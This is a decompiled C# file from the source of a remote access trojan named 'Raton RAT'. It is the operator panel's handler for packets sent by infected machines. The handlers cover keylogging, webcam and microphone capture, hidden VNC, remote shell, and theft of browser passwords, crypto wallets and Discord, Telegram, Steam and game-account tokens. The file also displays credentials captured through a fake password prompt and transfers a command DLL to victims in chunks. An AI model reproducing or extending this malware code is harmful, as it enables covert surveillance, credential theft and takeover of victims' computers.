Files
raton4.0-source/Raton RAT/HandlePacket.cs
T
2026-08-27 11:23:13 -06:00

312 lines
13 KiB
C#

// Decompiled with JetBrains decompiler
// Type: HandlePacket
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Forms;
using Raton.Handlers;
using Raton.Windows;
using RatonRAT.Handlers.FileTransfer;
using Server.Connection;
using Server.Handlers;
using Stuff;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
public class HandlePacket
{
private const int CHUNK_SIZE = 524288 /*0x080000*/;
public SillyClient SillyClient { get; set; }
public byte[] packet { get; set; }
private string ComputeSha256(byte[] data)
{
using (SHA256 shA256 = SHA256.Create())
return BitConverter.ToString(shA256.ComputeHash(data)).Replace("-", "").ToLowerInvariant();
}
private async Task SendChunk(string id, int index)
{
int sourceIndex = index * 524288 /*0x080000*/;
int length = Math.Min(524288 /*0x080000*/, this.SillyClient.DllBytesById[id].Length - sourceIndex);
byte[] destinationArray = new byte[length];
Array.Copy((Array) this.SillyClient.DllBytesById[id], sourceIndex, (Array) destinationArray, 0, length);
Pack pack = new Pack();
pack.SetString("Packet", "DLL_CHUNK");
pack.SetString("TransferId", id);
pack.SetInt("ChunkIndex", index);
pack.Set("Data", destinationArray);
this.SillyClient.LastChunkSent[id] = DateTime.Now;
await this.SillyClient.Send(pack.Pacc()).ConfigureAwait(false);
}
public async Task Run(object state)
{
if (this.packet == null)
return;
Unpack meow = new Unpack();
meow.Unpacc(this.packet);
string transferId;
switch (meow.GetAsString("Packet"))
{
case "Alert":
await Program.form2.Dispatcher.InvokeAsync((Action) (() =>
{
Program.form2.checkLogs();
string asString = meow.GetAsString("Message");
Program.form2.AddLog((object) asString, (object) System.Drawing.Color.Orange);
Notification.Show("Report\n" + asString, "\uE77B", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
break;
case "Anydesk":
HandleAnydesk handleAnydesk = new HandleAnydesk(this.SillyClient, meow);
break;
case "Audio":
HandleMicrophone handleMicrophone = new HandleMicrophone(this.SillyClient, meow);
break;
case "ChatMessage":
HandleChat handleChat = new HandleChat(this.SillyClient, meow);
break;
case "Clientinfo":
HandleInfo handleInfo = new HandleInfo(this.SillyClient, meow);
break;
case "Clipboard":
HandleClipboard handleClipboard = new HandleClipboard(this.SillyClient, meow);
break;
case "Crypto":
HandleCrypto handleCrypto = new HandleCrypto(this.SillyClient, meow);
break;
case "DLL":
Program.form2.AddSuccessLog((object) meow.GetAsString("DLL"), (object) System.Drawing.Color.LightGreen);
break;
case "DLLStart":
string path = Path.Combine(Path.Combine(Environment.CurrentDirectory, "DONOTDELETE"), "Commands.dll");
if (!File.Exists(path))
{
int num = (int) Messenger.MessageBox("Commands.dll not found. Please get a new Builder folder, congrats, you lost a client!", "Building error", icon: MessageBoxIcon.Hand);
Notification.Show("Fatal error\nCommands.dll not found. Please get a new Builder folder, congrats, you lost a client", "\uE77B", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 0, (byte) 0)));
break;
}
byte[] dllBytes = File.ReadAllBytes(path);
if (dllBytes.Length == 0)
break;
string dllHash = this.ComputeSha256(dllBytes);
transferId = Guid.NewGuid().ToString();
int totalChunks = (int) Math.Ceiling((double) dllBytes.Length / 524288.0);
Pack pack1 = new Pack();
pack1.SetString("Packet", "DLL_START");
pack1.SetLong("Size", (long) dllBytes.Length);
pack1.SetString("Hash", dllHash);
pack1.SetInt("ChunkSize", 524288 /*0x080000*/);
pack1.SetInt("TotalChunks", totalChunks);
pack1.SetString("TransferId", transferId);
await this.SillyClient.Send(pack1.Pacc()).ConfigureAwait(false);
this.SillyClient.ChunksAcked[transferId] = 0;
this.SillyClient.TotalChunksById[transferId] = totalChunks;
this.SillyClient.DllBytesById[transferId] = dllBytes;
this.SillyClient.DllHashById[transferId] = dllHash;
await this.SendChunk(transferId, 0).ConfigureAwait(false);
break;
case "DLL_CHUNK_ACK":
transferId = meow.GetAsString("TransferId");
int asInteger = meow.GetAsInteger("ChunkIndex");
if (!this.SillyClient.ChunksAcked.ContainsKey(transferId))
break;
if (asInteger >= 0 && asInteger < this.SillyClient.TotalChunksById[transferId])
this.SillyClient.ChunksAcked[transferId] = Math.Max(this.SillyClient.ChunksAcked[transferId], asInteger + 1);
this.SillyClient.RetryCount[transferId] = 0;
int index = this.SillyClient.ChunksAcked[transferId];
int num1 = this.SillyClient.TotalChunksById[transferId];
if (index < num1)
{
await this.SendChunk(transferId, index).ConfigureAwait(false);
break;
}
if (!this.SillyClient.EndSent.TryAdd(transferId, true))
break;
Pack pack2 = new Pack();
pack2.SetString("Packet", "DLL_END");
pack2.SetString("TransferId", transferId);
await this.SillyClient.Send(pack2.Pacc()).ConfigureAwait(false);
this.SillyClient.EndSent.TryRemove(transferId, out bool _);
int num2;
this.SillyClient.ChunksAcked.TryRemove(transferId, out num2);
this.SillyClient.TotalChunksById.TryRemove(transferId, out num2);
this.SillyClient.DllBytesById.TryRemove(transferId, out byte[] _);
this.SillyClient.DllHashById.TryRemove(transferId, out string _);
this.SillyClient.RetryCount.TryRemove(transferId, out num2);
this.SillyClient.LastChunkSent.TryRemove(transferId, out DateTime _);
break;
case "DeviceResponse":
HandleDeviceManager handleDeviceManager = new HandleDeviceManager(this.SillyClient, meow);
break;
case "Download":
new HandleDownload().Run(this.SillyClient, meow);
break;
case "Epic":
HandleEpic handleEpic = new HandleEpic(this.SillyClient, meow);
break;
case "Error":
await Program.form2.Dispatcher.InvokeAsync((Action) (() =>
{
Program.form2.checkLogs();
Program.form2.AddErrorLog((object) ("Error " + meow.GetAsString("Error")), (object) System.Drawing.Color.LightCoral);
}));
break;
case "FakePassword":
await Program.form2.Dispatcher.InvokeAsync((Action) (() =>
{
Program.form2.checkLogs();
string asString1 = meow.GetAsString("Username");
string asString2 = meow.GetAsString("Password");
string asString3 = meow.GetAsString("UID");
string asString4 = meow.GetAsString("Window");
Program.form2.AddLog((object) $"Password prompt on {asString4}({asString3}) - Username: {asString1} - Password: {asString2}", (object) System.Drawing.Color.Orange);
Notification.Show($"Password prompt ({asString3})\nUsername: {asString1}\nPassword: {asString2}\nWindow: {asString4}", "\uE77B", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
break;
case "FileSearch":
HandleFileSearch handleFileSearch = new HandleFileSearch(this.SillyClient, meow);
break;
case "Firefox":
HandleFirefox handleFirefox = new HandleFirefox(this.SillyClient, meow);
break;
case "Geo":
HandleGeo handleGeo = new HandleGeo(this.SillyClient, meow);
break;
case "GetScreen":
HandleScreen handleScreen = new HandleScreen(this.SillyClient, meow);
break;
case "HVNC":
HandleHVNC handleHvnc = new HandleHVNC(this.SillyClient, meow);
break;
case "Hosts":
HandleHost handleHost = new HandleHost(this.SillyClient, meow);
break;
case "Keylogger":
HandleKeylogger handleKeylogger = new HandleKeylogger(this.SillyClient, meow);
break;
case "Manager":
HandleFileManager handleFileManager = new HandleFileManager(this.SillyClient, meow);
break;
case "Minecraft":
HandleMinecraft handleMinecraft = new HandleMinecraft(this.SillyClient, meow);
break;
case "Mullvad":
HandleMullvad handleMullvad = new HandleMullvad(this.SillyClient, meow);
break;
case "Password":
HandlePasswords handlePasswords = new HandlePasswords(this.SillyClient, meow);
break;
case "Ping":
this.SillyClient.EnsurePingLoop();
break;
case "PluginMessage":
await Program.form2.Dispatcher.InvokeAsync((Action) (() => Program.form2.AddLog((object) meow.GetAsString("Message"), (object) System.Drawing.Color.LightSkyBlue)));
break;
case "PortSpy":
HandlePortManager handlePortManager = new HandlePortManager(this.SillyClient, meow);
break;
case "Preview":
HandlePreview handlePreview = new HandlePreview(this.SillyClient, meow);
break;
case "ProcessSpy":
HandleProcessManager handleProcessManager = new HandleProcessManager(this.SillyClient, meow);
break;
case "Programs":
HandleInstalledPrograms installedPrograms = new HandleInstalledPrograms(this.SillyClient, meow);
break;
case "RDP":
HandleRDP handleRdp = new HandleRDP(this.SillyClient, meow);
break;
case "RegistryResponse":
HandleRegistry handleRegistry = new HandleRegistry(this.SillyClient, meow);
break;
case "RemoteDesktop":
new HandleDesktop().Run(this.SillyClient, meow);
break;
case "Riot":
HandleRiot handleRiot = new HandleRiot(this.SillyClient, meow);
break;
case "Roblox":
HandleRoblox handleRoblox = new HandleRoblox(this.SillyClient, meow);
break;
case "Services":
HandleServices handleServices = new HandleServices(this.SillyClient, meow);
break;
case "Shell":
HandleShell handleShell = new HandleShell(this.SillyClient, meow);
break;
case "Steam":
HandleSteam handleSteam = new HandleSteam(this.SillyClient, meow);
break;
case "Success":
await Program.form2.Dispatcher.InvokeAsync((Action) (() => Program.form2.AddSuccessLog((object) meow.GetAsString("Message"), (object) System.Drawing.Color.LightGreen)));
break;
case "SystemAudio":
HandleMicrophoneSystem microphoneSystem = new HandleMicrophoneSystem(this.SillyClient, meow);
break;
case "Token":
HandleDiscord handleDiscord = new HandleDiscord(this.SillyClient, meow);
break;
case "Upload":
new HandleUpload().Run(this.SillyClient, meow);
break;
case "UploadACK":
new HandleUploadACK().Run(this.SillyClient, meow);
break;
case "UserMessage":
RatonPlugins ratonPlugins = Application.OpenForms.OfType<RatonPlugins>().FirstOrDefault<RatonPlugins>((Func<RatonPlugins, bool>) (f => f.Text == "Plugins"));
if (ratonPlugins == null)
break;
string asString5 = meow.GetAsString("Message");
string asString6 = meow.GetAsString("Status");
System.Drawing.Color color = System.Drawing.Color.White;
switch (asString6)
{
case "Success":
color = System.Drawing.Color.LimeGreen;
break;
case "Warning":
color = System.Drawing.Color.Gold;
break;
case "Error":
color = System.Drawing.Color.Red;
break;
case "Information":
color = System.Drawing.Color.LightSkyBlue;
break;
}
ratonPlugins.addText(asString5, color);
break;
case "Webcam":
HandleWebcam handleWebcam = new HandleWebcam(this.SillyClient, meow);
break;
case "Wifi":
HandleWifi handleWifi = new HandleWifi(this.SillyClient, meow);
break;
case "Xbox":
HandleXbox handleXbox = new HandleXbox(this.SillyClient, meow);
break;
case "listinfo":
HandleClient handleClient = new HandleClient(this.SillyClient, meow);
break;
case "tdata":
HandleTelegram handleTelegram = new HandleTelegram(this.SillyClient, meow);
break;
default:
await Program.form2.Dispatcher.InvokeAsync((Action) (() => Program.form2.AddLog((object) $"Invalid server packet: {meow.GetAsString("packet")}{meow.GetAsString("Packet")}", (object) System.Drawing.Color.LightCoral)));
break;
}
}
}